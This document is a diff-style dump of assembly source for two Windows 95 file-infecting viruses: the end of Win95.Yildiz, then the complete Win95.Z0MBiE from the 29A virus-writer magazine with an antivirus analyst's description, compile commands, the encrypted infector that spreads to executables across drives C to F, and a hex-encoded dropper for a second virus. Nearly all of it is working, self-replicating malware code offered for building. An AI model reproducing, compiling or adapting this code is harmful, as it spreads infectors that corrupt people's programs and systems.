lea ebp, [edi+int21h-virus_start] ; EBP=offset of our int21h procedure
; for optimisation reasons, the
; CALL EBP instruction is just 2 bytes
; ----- GO TSR --------------------------------------------------------------
lea edx, [edi+tmp_filename-virus_start] ; EDX=pointer to tmp filename
push edx ; save it on stack
push eax ; save kernel32 base address on stack
mov ah, 3Ch ; create temp file
xor ecx, ecx ; no attributes
call ebp ; call our int 21h procedure
xchg ebx, eax ; filehandle to EBX, where it belongs
pop edx ; EDX=kernel32 base address
push edx ; save it again
call write_file ; write start of kernel32 to temp file
call infect ; infect the temp file
pop edx ; EDX=kernel32 base address
mov ah, 3Fh ; read infected kernel32 fileststart
call read_write ; into kernel32 memory
mov ah, 3Eh ; close temp file
call ebp ; call our int 21h procedure
pop edx ; EDX=pointer to temp filename
mov ah, 41h ; delete temp file
call ebp ; call our int 21h procedure
; ----- INFECT ALL FILES IN CURRENT DIR -------------------------------------
mov ah, 2Fh ; get DTA
call ebp ; call our int 21h procedure
push es ; save DTA address to stack
push ebx
push ds ; ES=DS (standart data segment)
pop es
mov ah, 1Ah ; set DTA to our data area
lea edx, [esi.dta] ; DS:EDX=new DTA adress
call ebp ; call our int 21h procedure
mov ah, 4Eh ; find first file
xor ecx, ecx ; only files with standart attributes
lea edx, [edi+(filespec-virus_start)] ; EDX=offset of filespec
findfile_loop:
call ebp ; call our int 21h procedure
JC all_done ; no more files found?
mov ax, 3D02h ; open victim file for read and write
lea edx, [esi.dta+1Eh] ; DS:EDX=pointer to filename in DTA
call ebp ; call our int 21h procedure
xchg ebx, eax ; handle to EBX, where it belongs
call infect ; infect the file
mov ah, 3Eh ; close the victim file
call ebp ; call our int 21h procedure
search_on:
mov ah, 4Fh ; find next file
JMP findfile_loop
; ----- RESTORE HOST --------------------------------------------------------
all_done:
pop edx ; restore old DTA offset in DS:EDX
pop ds
mov ah, 1Ah ; reset DTA to old address
call ebp ; call our int 21h procedure
push es ; DS=ES (standart data segment)
pop ds
add esp, size stack_frame ; remove our data buffer from stack
popad ; restore all registers
db 05h ; add eax, imm32
entry_RVA_difference dd (host-virus_start) ; difference between host and
; virus entrypoint (EAX is virus
; entrypoint offset by default)
JMP eax ; jump to host entrypoint
; ----- END MAIN PART OF THE VIRUS CODE -------------------------------------
exit_infect:
pop edi ; restore EDI (delta offset)
RET ; return to caller
; ----- INFECT AN OPENED FILE (HANDLE IN BX) --------------------------------
infect:
push edi ; save EDI (delta offset)
mov edx, esi ; EDX=read/write buffer offset
mov ah, 3Fh ; read start of file
call read_write
cmp word ptr [esi], "ZM" ; is it an exe file ?
JNE exit_infect ; cancel infection if not
mov ecx, [esi+3Ch] ; ECX=new header RVA
cmp ecx, 3*1024 ; check if DOS stub is small enough
; so that all the PE header is in
; our buffer
JA exit_infect ; if not, cancel infection
lea edi, [esi+ecx] ; EDI=PE header offset in memory
cmp word ptr [edi], "EP" ; is it an PE file ?
; (I know that the PE marker is
; actually a dword, but by only
; checking one word we save a byte
; of virus code)
JNE exit_infect ; cancel infection if not
cmp dword ptr [edi+28h], 4096 ; check if entrypoint RVA is in the
; first 4 KB of the file
JB exit_infect ; if yes, the file must be already
; infected, cancel infection
add ecx, 24 ; add size of FileHeader
movzx eax, word ptr [edi+14h] ; EAX=size of Optional header
add ecx, eax ; add it to ECX
movzx eax, word ptr [edi+6] ; EAX=NumberOfSections
imul eax, eax, 40 ; get size of section headers to EAX
add ecx, eax ; add it to ECX, now it points to the
; end of the used part of the PE
; header, where the virus will be.
mov edx, ecx ; EDX=virus RVA
xchg dword ptr [edi+28h], edx ; set it as new entrypoint RVA
sub edx, ecx ; EDX=difference between old and new
; entrypoint RVA
mov eax, [edi+54h] ; EAX=SizeOfHeaders (aligned to
; FileAlign)
lea edi, [esi+ecx] ; EDI=virus offset in buffer
sub eax, ecx ; EAX=free room for us to use
mov cx, virus_size ; ECX=size of virus (the most
; significant word of ECX should be 0)
cmp eax, ecx ; enough room for the virus ?
JL exit_infect ; cancel infection if not
pop eax ; EAX=delta offset
push eax ; save it again to stack
xchg esi, eax ; ESI=delta offset, EAX=data buffer
cld ; clear direction flag
rep movsb ; move virus body into buffer
xchg esi, eax ; ESI=pointer to our data on stack
mov [edi-(virus_end-entry_RVA_difference)], edx ; store difference
; between old and new entrypoint
pop edi ; restore EDI (delta offset)
mov edx, esi ; EDX=offset of read/write buffer
; now write modified start of file,
; then return to caller
write_file:
mov ah, 40h ; write to file
read_write:
xor ecx, ecx ; ECX=0
pushad ; save all registers
xor eax, eax ; EAX=4200h (set filepointer from
mov ah, 42h ; start of the file
cdq ; CX:DX=0 (new filepointer)
call ebp ; call our int 21h procedure
popad ; restore all registers
mov ch, 10h ; ECX=4096 (size of read/write buffer)
; now execute int 21h and return
int21h: ; protected mode int21
push ecx ; push parameters
push eax
push 2A0010h ; VWIN32_Int21Dispatch function
call ss:[esi.VxDCall0] ; call VxDCall0 API
ret
virus_end:
; This is our data that will be stored on the stack:
stack_frame struc
buffer db 4096 dup(?)
dta db 43 dup(?)
VxDCall0 dd ?
stack_frame ends
host:
push 0
push offset caption
push offset message
push 0
call MessageBoxA
push 0
call ExitProcess
caption db "Win95.Yildiz Virus (c) 2000 Black Jack", 0
message db "first generation dropper", 0
end virus_start
+979
View File
@@ -0,0 +1,979 @@
;
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ Win95.Z0MBiE ³
; ³ v1.01, by Z0MBiE ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;
; This is the first collaboration of the russian virus writer Z0MBiE to 29A,
; and also his first Win95 PE infector. It is an encrypted runtime PE infec-
; tor which, after having decrypted its body, locates KERNEL32.DLL and then
; looks in its export table for the address of the API functions used it the
; viral code. This virus has also the feature which consists on looking for
; files to infect in the Windows directory as well as in other units. PE in-
; fection consists on adding a new section (called .Z0MBiE) to infected exe-
; cutables and creating an entry point in it for the virus code. Last but
; not least, Win95.Z0MBiE, after having infected files in a given drive, in-
; serts a dropper called ZSetUp.EXE in the root directory. This file is ac-
; tually a dropper of the Z0MBiE.1922 virus, also included in this issue of
; 29A, in the "Viruses" section of the magazine. Its peculiarities are des-
; cribed there, together with the analysis of Igor Daniloff, same as the one
; which follows, describing the behavior of Win95.ZOMBiE.
;
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; Win95.Zombie
;
; Igor Daniloff
; DialogueScience
;
; Win95.Zombie is a nondestructive nonresident encrypted virus which
; infects PortableExecutable EXE files. On starting an infected file,
; the virus decryptor explodes the main virus body and passes control
; to it. The main virus body determines the location of KERNEL32 Export
; Table in memory and saves in its code the address of WIN32 KERNEL API
; functions that are essential for infecting files.
;
; Then the virus determines the command line of the currently-loaded
; infected program and loads it once again through the WinExec function.
; The second virus copy then infects the system. The first virus copy
; (that started a second copy the infected program), after completing
; the WinExec procedure, returns control to the host program.
;
; To infect PE EXE files, the virus scans the Windows system folder and
; also takes peeps into all other folders in drives C:, D:, E:, and F:.
; On detecting a PE EXE file, the virus analyzes the file. If all is well,
; the file is infected. Win95.Zombie creates a new segment section .Z0MBiE
; in the PE header, sets an entry point to it, and appends a copy of the
; encrypted code at the file end which is within the limits of the region
; of this segment section. After infecting the logical drive, the virus
; creates a dropper file ZSetUp.EXE in the root directory and assigns it
; ARCHIVE and SYSTEM attributes. In this file, Win95.Zombie plants a
; Zombie.1922 virus code. The virus contains a few text strings:
;
; Z0MBiE 1.01 (c) 1997
; My 2nd virii for mustdie
; Tnx to S.S.R.
;
; Z0MBiE`1668 v1.00 (c) 1997 Z0MBiE
; Tnx to S.S.R.
; ShadowRAM/Virtual Process Infector
; ShadowRAM Technology (c) 1996,97 Z0MBiE
;
; code................1398
; viriisize...........4584
; virtsize............8936
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
;
; Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm32 -ml -m5 -q -zn zombie.asm
; tlink32 -Tpe -c -x -aa zombie.obj,,, import32.lib
; pewrsec zombie.exe
;
; - -[ZOMBIE.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
.386
locals
jumps
.model flat
extrn ExitProcess:PROC
extrn MessageBoxA:PROC
kernel equ 0BFF70000H
FILE_ID equ 'Z0'
PORT_ID equ 'Z'
.data
sux db 'mustdie'
.code
start:
call codestart
lea ebp, [eax - 401000H]
lea edx, codestart[ebp]
cryptn equ (viriisize-decrsize+3) / 4
mov ecx, cryptn
@@1: neg dword ptr [edx]
xor dword ptr [edx], 12345678h
xorword equ dword ptr $-4
sub edx, -4
loop @@1
jmp codestart
align 4
decrsize equ $-start
codestart: lea ebp, [eax - 401000H]
sub eax, 12345678h
subme equ dword ptr $-4
push eax
call analizekernel
call first
in al, 81h
cmp al, PORT_ID
je exit_to_program
in al, 80h
cmp al, PORT_ID
je infect
mov al, PORT_ID
out 80h, al
call ExecExe
exit_to_program: ret
infect: mov al, -1
out 80h, al
; call _GetModuleHandleA
; push 9
; push eax
; call _SetPriorityClass
; infect windows directory
lea edx, infdir[ebp]
call getwindir
lea edx, infdir[ebp]
call setdir
call infectdir
; recursive infect
lea edx, drive_c[ebp]
call recinfect1st
call createsetup
lea edx, drive_d[ebp]
call recinfect1st
call createsetup
lea edx, drive_e[ebp]
call recinfect1st
call createsetup
lea edx, drive_f[ebp]
call recinfect1st
call createsetup
mov al, PORT_ID
out 81h, al
exit_to_mustdie: push -1
call _ExitProcess
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ subprograms ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
createsetup: lea edx, zsetup[ebp]
call createfile
lea edx, z[ebp]
mov ecx, z_size
call writefile
call closefile
ret
first: pop edi
mov byte ptr [edi-5], 0b9h ; mov ecx, xxxxxxxx
mov byte ptr start[ebp], 0b9h
call infectfile
jmp exit_to_mustdie
ExecExe: call _GetCommandLineA
SW_NORMAL equ 1
push SW_NORMAL
push eax
call _WinExec
ret
recinfect1st: call setdir
recinfect: call infectdir
lea eax, win32_data_thang[ebp]
push eax
lea eax, dirfiles[ebp]
push eax
call _FindFirstFileA
mov edi, eax
inc eax
jz @@nomorefiles
@@processfile: lea eax, fileattr[ebp]
mov al, [eax]
cmp al, 10h ; directory ?
jne @@findnext
lea edx, fullname[ebp]
cmp byte ptr [edx], '.'
je @@findnext
call setdir
push edi
lea edx, fullname[ebp]
call recinfect
pop edi
lea edx, prev_dir[ebp]
call setdir
@@findnext: lea eax, win32_data_thang[ebp]
push eax
push edi
call _FindNextFileA
or eax, eax
jnz @@processfile
@@nomorefiles: ret
nokerneldll:
nofunction:
exit: jmp $
analizekernel: mov esi, kernel
@@1: ; cmp esi, kernel + 040000h
; ja nokernelfunc
lea edi, kernel_sign[ebp]
mov ecx, kernel_sign_size
rep cmpsb
jne @@1
kernelfound: sub esi, kernel_sign_size
mov kernel_call[ebp], esi
mov esi, kernel
lodsw
cmp ax, 'ZM'
jne nokerneldll
add esi, 003Ch-2
lodsd
lea esi, [esi + eax - 3ch - 4]
lodsd
cmp eax, 'EP'
jne nokerneldll
add esi, 78h-4 ; esi=.edata
lodsd
add eax, kernel + 10h
xchg esi, eax
lodsd
lodsd
lodsd
mov funcnum[ebp], eax
lodsd
add eax, kernel
mov entrypointptr[ebp], eax
lodsd
add eax, kernel
mov nameptr[ebp], eax
lodsd
add eax, kernel
mov ordinalptr[ebp], eax
lea edx, names[ebp]
lea edi, fns[ebp]
@@1: push edi
call findfunction
pop edi
inc edi ; 68
stosd
add edi, 6 ; jmp kernel_call[ebp]
mov edx, esi
cmp byte ptr [esi], 0
jne @@1
ret
findfunction: mov ecx, 12345678h
funcnum equ dword ptr $-4
xor ebx, ebx
findnextfunc: mov esi, edx
mov edi, [ebx + 12345678h]
nameptr equ dword ptr $-4
add edi, kernel
@@2: cmpsb
jne @@1
cmp byte ptr [esi-1], 0
jne @@2
; found
shr ebx, 1
movzx eax, word ptr [ebx + 12345678h]
ordinalptr equ dword ptr $-4
shl eax, 2
mov eax, [eax + 12345678h]
entrypointptr equ dword ptr $-4
add eax, kernel
ret
@@1: add ebx, 4
loop findnextfunc
jmp nofunction
infectdir: lea eax, win32_data_thang[ebp]
push eax
lea eax, exefiles[ebp]
push eax
call _FindFirstFileA
mov searchhandle[ebp], eax
inc eax
jz @@exit
@@next: call infectfile
lea eax, win32_data_thang[ebp]
push eax
push 12345678h
searchhandle equ dword ptr $-4
call _FindNextFileA
or eax, eax
jnz @@next
@@exit: ret
; input: ECX=file attr
; EDX=file
; output: EAX=handle
openfile: push 0
push ecx
push 3 ; OPEN_EXISTING
push 0
push 0
push 80000000h + 40000000h
push edx
call _CreateFileA
mov handle[ebp], eax
ret
; input: EDX=file
; output: EAX=handle
createfile: push 0
push ecx
push 1 ; CREATE
push 0
push 0
push 80000000h + 40000000h
push edx
call _CreateFileA
mov handle[ebp], eax
ret
seekfile: push 0
push 0
push edx
push handle[ebp]
call _SetFilePointer
ret
closefile: push handle[ebp]
call _CloseHandle
ret
; input: ECX=bytes to read
; EDX=buf
readfile: push 0
lea eax, bytesread[ebp]
push eax
push ecx
push edx
push handle[ebp]
call _ReadFile
ret
; input: ECX=bytes to read
; EDX=buf
writefile: push 0
lea eax, bytesread[ebp]
push eax
push ecx
push edx
push handle[ebp]
call _WriteFile
ret
; input: EDX=offset directory (256 byte)
getdir: cld
push edx
push 255
call _GetCurrentDirectoryA
ret
; input: EDX=directory
setdir: push edx
call _SetCurrentDirectoryA
ret
getwindir: cld
push 255
push edx
call _GetWindowsDirectoryA
ret
infectfile: in al, 82h
cmp al, PORT_ID
jne @@continue
lea eax, fullname[ebp]
cmp dword ptr [eax], 'BM0Z'
jne @@exit
@@continue: mov ecx, fileattr[ebp]
lea edx, fullname[ebp]
call openfile
inc eax
jz @@exit
; goto the dword that stores the location of the pe header
mov edx, 3Ch
call seekfile
; read in the location of the pe header
mov ecx, 4
lea edx, peheaderoffset[ebp]
call readfile
; goto the pe header
mov edx, peheaderoffset[ebp]
call seekfile
; read in enuff to calculate the full size of the pe header and object table
mov ecx, 256
lea edx, peheader[ebp]
call readfile
; make sure it is a pe header and is not already infected
cmp dword ptr peheader[ebp],'EP'
jne @@close
cmp word ptr peheader[ebp] + 4ch, FILE_ID
je @@close
cmp dword ptr peheader[ebp] + 52, 00400000h
jne @@close
; go back to the start of the pe header
mov edx, peheaderoffset[ebp]
call seekfile
; read in the whole pe header and object table
lea edx, peheader[ebp]
mov ecx, headersize[ebp]
cmp ecx, maxbufsize
ja @@close
call readfile
mov word ptr peheader[ebp] + 4ch, FILE_ID
; locate offset of object table
xor eax, eax
mov ax, NtHeaderSize[ebp]
add eax, 18h
mov objecttableoffset[ebp],eax
; calculate the offset of the last (null) object in the object table
mov esi, objecttableoffset[ebp]
lea eax, peheader[ebp]
add esi, eax
xor eax, eax
mov ax, numObj[ebp]
mov ecx, 40
xor edx, edx
mul ecx
add esi, eax
inc numObj[ebp] ; inc the number of objects
lea edi, newobject[ebp]
xchg edi,esi
; calculate the Relative Virtual Address (RVA) of the new object
mov eax, [edi-5*8+8]
add eax, [edi-5*8+12]
mov ecx, objalign[ebp]
xor edx,edx
div ecx
inc eax
mul ecx
mov RVA[ebp], eax
; calculate the physical size of the new object
mov ecx, filealign[ebp]
mov eax, viriisize
xor edx, edx
div ecx
inc eax
mul ecx
mov physicalsize[ebp],eax
; calculate the virtual size of the new object
mov ecx, objalign[ebp]
mov eax, virtsize
xor edx,edx
div ecx
inc eax
mul ecx
mov virtualsize[ebp],eax
; calculate the physical offset of the new object
mov eax,[edi-5*8+20]
add eax,[edi-5*8+16]
mov ecx, filealign[ebp]
xor edx,edx
div ecx
inc eax
mul ecx
mov physicaloffset[ebp],eax
; update the image size (the size in memory) of the file
mov eax, virtsize
add eax, imagesize[ebp]
mov ecx, objalign[ebp]
xor edx, edx
div ecx
inc eax
mul ecx
mov imagesize[ebp],eax
; copy the new object into the object table
mov ecx, 40/4
rep movsd
; calculate the entrypoint RVA
mov eax, RVA[ebp]
mov ebx, entrypointRVA[ebp]
mov entrypointRVA[ebp], eax
sub eax, ebx
; Set the value needed to return to the host
mov subme[ebp], eax
; go back to the start of the pe header
mov edx, peheaderoffset[ebp]
call seekfile
; write the pe header and object table to the file
mov ecx, headersize[ebp]
lea edx, peheader[ebp]
call writefile
; move to the physical offset of the new object
mov edx, physicaloffset[ebp]
call seekfile
; write the virus code to the new object
call random
mov xorword[ebp], eax
lea edx, start[ebp]
mov ecx, decrsize
call writefile
lea esi, codestart[ebp]
lea edi, buf[ebp]
mov ecx, cryptn
@@1: lodsd
xor eax, xorword[ebp]
neg eax
stosd
loop @@1
lea edx, buf[ebp]
mov ecx, viriisize-decrsize
call writefile
@@close: call closefile
@@exit: ret
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 32-bit random number generator ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; output: eax=rnd
; zf=rnd(2)
random: call random16bit
shl eax, 16
random16bit: push ebx
mov bx, 1234h
rndword equ word ptr $-2
in al, 40h
xor bl, al
in al, 40h
add bh, al
in al, 41h
sub bl, al
in al, 41h
xor bh, al
in al, 42h
add bl, al
in al, 42h
sub bh, al
mov rndword[ebp], bx
xchg bx, ax
pop ebx
test al, 1
ret
; input: eax
; output: eax=rnd(eax)
; zf=rnd(2)
rnd: push ebx
push edx
xchg ebx, eax
call random
xor edx, edx
div ebx
xchg edx, eax
pop edx
pop ebx
test al, 1
ret
codesize equ $-start
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ data area ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
kernel_sign: pushfd ; <- kernel
cld
push eax
push ebx
push edx
kernel_sign_size equ $-kernel_sign
kernel_call dd ?
names: db 'ExitProcess',0
db 'FindFirstFileA',0
db 'FindNextFileA',0
db 'CreateFileA',0
db 'SetFilePointer',0
db 'ReadFile',0
db 'WriteFile',0
db 'CloseHandle',0
db 'GetCurrentDirectoryA',0
db 'SetCurrentDirectoryA',0
db 'GetWindowsDirectoryA',0
db 'GetCommandLineA',0
db 'WinExec',0
db 'SetPriorityClass',0
db 'GetModuleHandleA',0
db 0
fns:
def_fn macro name
_&name&: db 68h
fn_&name& dd ?
jmp kernel_call[ebp]
endm
def_fn ExitProcess
def_fn FindFirstFileA
def_fn FindNextFileA
def_fn CreateFileA
def_fn SetFilePointer
def_fn ReadFile
def_fn WriteFile
def_fn CloseHandle
def_fn GetCurrentDirectoryA
def_fn SetCurrentDirectoryA
def_fn GetWindowsDirectoryA
def_fn GetCommandLineA
def_fn WinExec
def_fn SetPriorityClass
def_fn GetModuleHandleA
bytesread dd ?
drive_c db 'C:\',0
drive_d db 'D:\',0
drive_e db 'E:\',0
drive_f db 'F:\',0
exefiles db '*.EXE',0
dirfiles db '*.',0
prev_dir db '..',0
win32_data_thang:
fileattr dd 0
createtime dd 0,0
lastaccesstime dd 0,0
lastwritetime dd 0,0
filesize dd 0,0
resv dd 0,0
fullname db 'Z0MB.EXE',256-8 dup (0)
realname db 256 dup (0)
handle dd ?
peheaderoffset dd ?
objecttableoffset dd ?
newobject: ;1234567 8
oname db '.Z0MBiE',0
virtualsize dd 0
RVA dd 0
physicalsize dd 0
physicaloffset dd 0
reserved dd 0,0,0
objectflags db 40h,0,0,0c0h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ messages ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
db 13,10,'Z0MBiE 1.01 (c) 1997',13,10
db 'My 2nd virii for mustdie',13,10
db 'Tnx to S.S.R.',13,10
m1 macro n
if n ge 100000
db n / 10000/10 mod 10 + '0'
else
db '.'
endif
if n ge 10000
db n / 10000 mod 10 + '0'
else
db '.'
endif
if n ge 1000
db n / 1000 mod 10 + '0'
else
db '.'
endif
db n / 100 mod 10 + '0'
db n / 10 mod 10 + '0'
db n / 1 mod 10 + '0',13,10
endm
; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
zsetup db '\ZSetUp.EXE',0
z:
include z.inc ; Z0MBiE.1922
z_size equ $-z
; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
db 13,10
db 'code..............'
m1 codesize
db 'viriisize.........'
m1 viriisize
db 'virtsize..........'
m1 virtsize
peheader:
signature dd 0
cputype dw 0
numObj dw 0
dd 3 dup (0)
NtHeaderSize dw 0
Flags dw 0
dd 4 dup (0)
entrypointRVA dd 0
dd 3 dup (0)
objalign dd 0
filealign dd 0
dd 4 dup (0)
imagesize dd 0
headersize dd 0
peheader_size equ $-peheader
align 4
viriisize equ $-start
infdir db 256 dup (?)
maxbufsize equ 4096
buf db maxbufsize dup (?)
virtsize equ $-start
end start
; - -[Z.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
abc_size equ 1922 ; size in bytes
abc_num equ 1922 ; size in elements
abc db 0e9h,010h,001h,026h,0a0h,028h,000h,0f6h,0d0h,02eh,030h,006h,022h,001h
db 0beh,02bh,001h,08bh,0feh,0b9h,008h,000h,02eh,0ach,040h,0d1h,0e3h,00bh,0d8h
db 0e2h,0f7h,02eh,088h,01dh,047h,081h,0ffh,0adh,008h,075h,0eah,0ebh,000h,0e8h
db 056h,006h,0b8h,081h,0f0h,0cdh,013h,03dh,08ch,092h,074h,003h,0e8h,0d8h,000h
db 08ch,0c1h,083h,0c1h,010h,0b8h,034h,012h,003h,0c1h,08eh,0d0h,0bch,034h,012h
db 0b8h,034h,012h,003h,0c1h,050h,068h,034h,012h,033h,0c0h,0cbh,053h,0bbh,034h
db 012h,0e4h,040h,032h,0d8h,0e4h,040h,002h,0f8h,0e4h,041h,02ah,0d8h,0e4h,041h
db 032h,0f8h,0e4h,042h,002h,0d8h,0e4h,042h,02ah,0f8h,02eh,089h,01eh,058h,001h
db 093h,05bh,0a8h,001h,0c3h,053h,052h,093h,0e8h,0d4h,0ffh,033h,0d2h,0f7h,0f3h
db 092h,05ah,05bh,0a8h,001h,0c3h,051h,0b1h,059h,0e8h,04eh,000h,02eh,088h,02eh
db 0afh,001h,041h,0e8h,045h,000h,02eh,088h,02eh,0b5h,001h,041h,0e8h,03ch,000h
db 02eh,088h,02eh,0bbh,001h,059h,0c3h,090h,051h,0b9h,059h,000h,0e8h,03ah,000h
db 041h,0b5h,012h,0e8h,034h,000h,041h,0b5h,012h,0e8h,02eh,000h,059h,0c3h,051h
db 0b1h,059h,02eh,08ah,02eh,0afh,001h,080h,0e5h,08fh,080h,0cdh,030h,0e8h,01bh
db 000h,041h,0b5h,033h,0e8h,015h,000h,041h,0b5h,033h,0e8h,00fh,000h,059h,0c3h
db 066h,050h,052h,0e8h,014h,000h,0ech,08ah,0e8h,05ah,066h,058h,0c3h,066h,050h
db 052h,0e8h,007h,000h,08ah,0c5h,0eeh,05ah,066h,058h,0c3h,066h,0b8h,000h,000h
db 000h,080h,08ah,0c1h,024h,0fch,0bah,0f8h,00ch,066h,0efh,080h,0c2h,004h,08ah
db 0c1h,024h,003h,002h,0d0h,0c3h,01eh,006h,00eh,01fh,0fah,0fch,0e8h,070h,0ffh
db 0a0h,0afh,001h,0feh,0c0h,074h,058h,0e8h,0b8h,000h,075h,053h,0e8h,053h,000h
db 074h,00bh,0e8h,074h,000h,074h,006h,0e8h,07ch,000h,074h,001h,0c3h,0e8h,086h
db 0ffh,0b8h,042h,000h,0e8h,03bh,0ffh,003h,0e8h,083h,0c5h,00fh,083h,0e5h,0f0h
db 0c1h,0edh,004h,08ch,0c0h,003h,0c5h,02dh,010h,000h,08eh,0c0h,0bfh,000h,001h
db 0c6h,006h,082h,008h,0eah,0c7h,006h,083h,008h,017h,003h,08ch,006h,085h,008h
db 08ch,006h,0b6h,005h,0beh,000h,001h,0b9h,007h,008h,0f3h,0a4h,0e8h,035h,003h
db 0e8h,032h,0ffh,033h,0c0h,007h,01fh,0c3h,068h,000h,0c0h,007h,033h,0ffh,032h
db 0d2h,026h,08ah,075h,002h,0d1h,0e2h,073h,002h,0b6h,080h,081h,0eah,069h,008h
db 033h,0c0h,08bh,0efh,0b9h,025h,004h,0f3h,0afh,074h,004h,03bh,0fah,076h,0f3h
db 0c3h,0b8h,030h,011h,0b7h,002h,0cdh,010h,08ch,0c0h,03dh,000h,0c0h,0c3h,068h
db 000h,0c0h,007h,033h,0ffh,0b9h,00eh,000h,032h,0c0h,0f3h,0aeh,075h,015h,0b9h
db 010h,000h,0f3h,0aeh,026h,081h,07dh,0ffh,07eh,081h,075h,008h,026h,081h,07dh
db 00dh,07eh,0ffh,074h,006h,081h,0ffh,000h,0f0h,076h,0dch,08bh,0efh,0c3h,0b4h
db 013h,0cdh,02fh,08ch,0c1h,02eh,089h,01eh,02bh,003h,02eh,08ch,006h,02dh,003h
db 0cdh,02fh,081h,0f9h,000h,0f0h,0c3h,03dh,081h,0f0h,074h,019h,03dh,000h,04bh
db 074h,00fh,080h,0fch,043h,074h,00ah,080h,0fch,03dh,074h,005h,0eah,000h,000h
db 000h,000h,0e8h,048h,000h,0ebh,0f6h,0b8h,08ch,092h,0cfh,03dh,081h,0f0h,074h
db 0f7h,0e8h,0a2h,0feh,0e8h,089h,002h,02eh,0a3h,05ch,005h,0e8h,082h,0feh,09ch
db 09ah,000h,000h,000h,000h,09ch,0e8h,08eh,0feh,02eh,080h,03eh,05dh,005h,002h
db 075h,00dh,026h,081h,03fh,04dh,05ah,075h,003h,0e8h,0e4h,001h,0e8h,012h,002h
db 0e8h,060h,002h,0e8h,05dh,0feh,09dh,0cah,002h,000h,09ch,02eh,0ffh,01eh,00ah
db 003h,0c3h,0e8h,065h,0feh,02eh,0c6h,006h,0abh,001h,0c3h,060h,01eh,006h,0fch
db 0b8h,000h,03dh,0e8h,0e6h,0ffh,00fh,082h,066h,001h,093h,0b4h,03fh,00eh,01fh
db 0bah,087h,008h,0b9h,040h,000h,0e8h,0d4h,0ffh,03bh,0c1h,00fh,085h,04dh,001h
db 0a1h,087h,008h,03dh,04dh,05ah,074h,007h,03dh,05ah,04dh,00fh,085h,03eh,001h
db 080h,03eh,099h,008h,069h,00fh,084h,035h,001h,0b8h,000h,042h,033h,0c9h,08bh
db 016h,08fh,008h,0c1h,0e2h,004h,0e8h,0a7h,0ffh,0b4h,03fh,0bah,0bdh,003h,0b9h
db 002h,000h,0e8h,09ch,0ffh,03bh,0c1h,00fh,085h,015h,001h,0b8h,034h,012h,040h
db 00fh,084h,00dh,001h,053h,0b8h,020h,012h,0cdh,02fh,026h,08ah,01dh,0b8h,016h
db 012h,0cdh,02fh,05bh,026h,08bh,055h,013h,026h,08bh,045h,011h,00ah,0c0h,00fh
db 084h,0f5h,000h,0b9h,0e8h,003h,0f7h,0f1h,00bh,0d2h,00fh,084h,0eah,000h,026h
db 0c7h,045h,002h,002h,000h,00eh,007h,0a1h,08bh,008h,048h,0b9h,000h,002h,0f7h
db 0e1h,003h,006h,089h,008h,083h,0d2h,000h,08bh,0f0h,08bh,0fah,0b8h,002h,042h
db 099h,033h,0c9h,0e8h,041h,0ffh,03bh,0c6h,00fh,085h,0bah,000h,03bh,0d7h,00fh
db 085h,0b4h,000h,005h,00fh,000h,083h,0d2h,000h,024h,0f0h,02bh,0f0h,029h,036h
db 089h,008h,050h,052h,0c1h,0e8h,004h,0c1h,0e2h,00ch,00bh,0c2h,02bh,006h,08fh
db 008h,02dh,010h,000h,08bh,0c8h,087h,00eh,09dh,008h,089h,00eh,04bh,001h,0b9h
db 003h,001h,087h,00eh,09bh,008h,089h,00eh,051h,001h,08bh,0c8h,087h,00eh,095h
db 008h,089h,00eh,041h,001h,0b9h,010h,00ah,087h,00eh,097h,008h,089h,00eh,048h
db 001h,081h,006h,091h,008h,0a1h,000h,083h,006h,08bh,008h,01eh,083h,006h,089h
db 008h,03bh,0c6h,006h,099h,008h,069h,0b8h,000h,042h,059h,05ah,0e8h,0cfh,0feh
db 0e8h,05dh,000h,0b4h,040h,0bah,000h,001h,0b9h,02bh,000h,0e8h,0c1h,0feh,0beh
db 02bh,001h,0bfh,0c7h,008h,0b9h,008h,000h,0ach,092h,0bdh,008h,000h,033h,0c0h
db 0d0h,0e2h,0d1h,0d0h,048h,0aah,04dh,075h,0f5h,0e2h,0eeh,0b4h,040h,0bah,0c7h
db 008h,0b9h,040h,000h,0e8h,09bh,0feh,081h,0feh,0adh,008h,072h,0d7h,0b8h,000h
db 042h,099h,033h,0c9h,0e8h,08ch,0feh,0b4h,040h,0bah,087h,008h,0b9h,040h,000h
db 0e8h,081h,0feh,0b4h,03eh,0e8h,07ch,0feh,007h,01fh,061h,02eh,0c6h,006h,0abh
db 001h,090h,0e8h,0c9h,0fch,0c3h,0bfh,084h,007h,0b0h,0c3h,0aah,0b9h,0fdh,000h
